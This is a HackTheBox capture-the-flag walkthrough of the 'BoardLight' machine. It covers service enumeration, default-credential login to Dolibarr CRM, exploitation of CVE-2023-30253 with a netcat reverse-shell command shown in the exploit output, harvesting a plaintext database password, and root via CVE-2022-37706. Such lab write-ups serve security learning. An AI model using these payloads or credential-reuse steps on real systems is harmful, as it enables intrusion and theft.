BoardLight is an Easy difficulty HackTheBox machine that exposes a CRM application discovered through virtual host enumeration. Authenticating with default credentials allows exploitation of an authenticated remote code execution vulnerability in the application to obtain an initial web shell as www-data. Inspecting the application's database configuration file uncovers plaintext credentials, which are reused via SSH to pivot to user larissa. Privilege escalation to root is achieved by exploiting an SUID binary associated with the window manager due to improper parameter handling.
1. Initial Enumeration and Service Discovery
1.1 Port Scanning
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O boardlight.htb -oN nmap_scan to scan the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-22 01:28 -0400 Nmap scan report for boardlight.htb (10.129.231.37) Host is up (0.51s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA) | 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA) |_ 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5 OS details: Linux 5.0 - 5.14 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 32.09 seconds
Based on the scan results:
- Port 22 is running OpenSSH 8.2p1
- Port 80 is running a website on Apache httpd 2.4.41
1.2 Directory & VHost Scanning
Port 80 runs a standard website and contains no usernames or information that could lead me anywhere.
I ran gobuster dir -u http://boardlight.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -o gobuster_scan -x .md,.html,.php,.env,.json,.yml,.yaml to find hidden directories or files, but it didn't return any useful results.
Then I ran gobuster vhost -u http://boardlight.htb -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt --append-domain to enumerate any subdomains, but it did not produce any useful results.
=============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://boardlight.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt [+] User Agent: gobuster/3.8.2 [+] Timeout: 10s [+] Append Domain: true [+] Exclude Hostname Length: false =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== *.boardlight.htb Status: 400 [Size: 301]
Since I didn't have any useful information to proceed with, I decided to go back to the website and look around. I noticed that the email mentioned in the footer uses a different domain name: board.htb.
After adding this to my /etc/hosts file, I ran the virtual host scan again. This time, it was able to enumerate the crm.board.htb subdomain's existance.
=============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://board.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt [+] User Agent: gobuster/3.8.2 [+] Timeout: 10s [+] Append Domain: true [+] Exclude Hostname Length: false =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== crm.board.htb Status: 200 [Size: 6360]
1.3 Application Profiling
crm.board.htb is running a Dolibarr CRM version 17.0.0 application. I was able to log in to the application using admin : admin credentials.
I was able to find three available public exploits for Dolibarr CRM version 17.0.0.
- CVE-2023-30253 (Remote Code Execution)
- CVE-2023-38887 (File Upload Vulnerability)
- CVE-2023-4198 (Improper Access Control)
2. Initial Access - Dolibarr CRM Authenticated RCE (CVE-2023-30253)
2.1 Vulnerability Context
Dolibarr CRM version 17.0.0 is vulnerable to authenticated remote code execution via improper input sanitization during web page/site creation.
Dolibarr application includes a Website Content Management System (CMS) module that allows administrative or authorized users to create and edit web pages directly inside the application.
To prevent users from executing dangerous server-side code, Dolibarr uses a blacklist designed to block files containing PHP tags. It specifically searches for the standard lowercase tag <?php.
If it detects this tag, it blocks the input to prevent code execution.
The root of the vulnerability lies in a flaw in the application's sanitization logic, which checks for <?php in a case-sensitive manner. An attacker can bypass the security filter completely simply by capitalising the characters:
<?PHP or <?Php
2.2 Exploitation & Initial Access
Since CVE-2023-30253 is a Remote Code Execution, I decided to try this exploit first. I was able to find an exploit POC on GitHub.
I was able to gain an initial foothold as www-data by running the exploit.
_______ ________
/ ____/ | / / ____/
/ / | | / / __/
/ /___ | |/ / /___
\____/ |___/_____/
___ __ ___ ____ ____ __ ___ ___ ____
|_ ) \_ )__ /__|__ // \_ ) __|__ /
/ / () / / |_ \___|_ \ () / /|__ \|_ \
/___\__/___|___/ |___/\__/___|___/___/
[+] By Rubikcuv5.
[*] Url: http://crm.board.htb
[*] User: admin
[*] Password: admin
[*] Reverseshell info:
IP:10.10.16.36
PORT:4444
[*] Verifying accessibility of URL:http://crm.board.htb/admin/index.php
[*] Attempting login to http://crm.board.htb/admin/index.php as admin
[+] Login successfully!
[*] Creating web site ...
[+] Web site was create successfully!
[*] Creating web page ...
[+] Web page was create successfully!
[+] Trying to bind to :: on port 4444: Done
[*] Executing command rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.36 4444 >/tmp/f
[+] Waiting for connections on :::4444: Got connection from ::ffff:10.129.231.37 on port 57100
[*] Switching to interactive mode
sh: 0: can't access tty; job control turned off
$ $ whoami
www-data3. Internal Enumeration & Lateral Movement
Enumerating the target machine, I found out that there is only one user, larissa. Dolibarr application configuration files are located in /htdocs/conf/ by default.
I was able to find and harvest database credentials in /var/www/html/crm.board.htb/htdocs/conf/conf.php.
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ $ cat conf.php cat conf.php <?php // // File generated by Dolibarr installer 17.0.0 on May 13, 2024 // // Take a look at conf.php.example file for an example of conf.php file // and explanations for all possibles parameters. // $dolibarr_main_url_root='http://crm.board.htb'; $dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs'; $dolibarr_main_url_root_alt='/custom'; $dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom'; $dolibarr_main_data_root='/var/www/html/crm.board.htb/documents'; $dolibarr_main_db_host='localhost'; $dolibarr_main_db_port='3306'; $dolibarr_main_db_name='dolibarr'; $dolibarr_main_db_prefix='llx_'; $dolibarr_main_db_user='dolibarrowner'; $dolibarr_main_db_pass='serverfun2$2023!!'; $dolibarr_main_db_type='mysqli'; $dolibarr_main_db_character_set='utf8'; $dolibarr_main_db_collation='utf8_unicode_ci'; // Authentication settings $dolibarr_main_authentication='dolibarr'; //$dolibarr_main_demo='autologin,autopass'; // Security settings $dolibarr_main_prod='0'; $dolibarr_main_force_https='0'; $dolibarr_main_restrict_os_commands='mysqldump, mysql, pg_dump, pgrestore'; $dolibarr_nocsrfcheck='0'; $dolibarr_main_instance_unique_id='ef9a8f59524328e3c36894a9ff0562b5'; $dolibarr_mailing_limit_sendbyweb='0'; $dolibarr_mailing_limit_sendbycli='0'; //$dolibarr_lib_FPDF_PATH=''; //$dolibarr_lib_TCPDF_PATH=''; //$dolibarr_lib_FPDI_PATH=''; //$dolibarr_lib_TCPDI_PATH=''; //$dolibarr_lib_GEOIP_PATH=''; //$dolibarr_lib_NUSOAP_PATH=''; //$dolibarr_lib_ODTPHP_PATH=''; //$dolibarr_lib_ODTPHP_PATHTOPCLZIP=''; //$dolibarr_js_CKEDITOR=''; //$dolibarr_js_JQUERY=''; //$dolibarr_js_JQUERY_UI=''; //$dolibarr_font_DOL_DEFAULT_TTF=''; //$dolibarr_font_DOL_DEFAULT_TTF_BOLD=''; $dolibarr_main_distrib='standard'; www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ $
Since user credential reuse is common, I tried to log in to the target machine as larissa using SSH. And I was able to retrieve the user flag from larissa home directory.
The authenticity of host 'board.htb (10.129.231.37)' can't be established. ED25519 key fingerprint is: SHA256:xngtcDPqg6MrK72I6lSp/cKgP2kwzG6rx2rlahvu/v0 This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'board.htb' (ED25519) to the list of known hosts. ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to "store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html larissa@board.htb's password: The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. larissa@boardlight:~$ whoami larissa larissa@boardlight:~$ cat user.txt
4. Privilege Escalation - Enlightenment freqset SUID Vulnerability (CVE-2022-37706)
I downloaded LinPeas to find vectors to escalate privileges to root. Along with many other findings, LinPeas flagged an unusual SUID binary in /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset.
The Enlightenment window manager binary freqset (v0.23.1) is vulnerable to a local privilege escalation flaw (CVE-2022-37706) due to unsafe parameter handling when executing system commands.
I was able to find a working exploit on GitHub.
I was able to execute the exploit and escalate privileges to root and retrieve the root flag.
larissa@boardlight:~$ ./exploit.sh CVE-2022-37706 [*] Trying to find the vulnerable SUID file... [*] This may take few seconds... [+] Vulnerable SUID binary found! [+] Trying to pop a root shell! [+] Enjoy the root shell :) mount: /dev/../tmp/: can't find in /etc/fstab. # whoami root # cat /root/root.txt
Congrats! We found both flags!
HTB Machine Completion
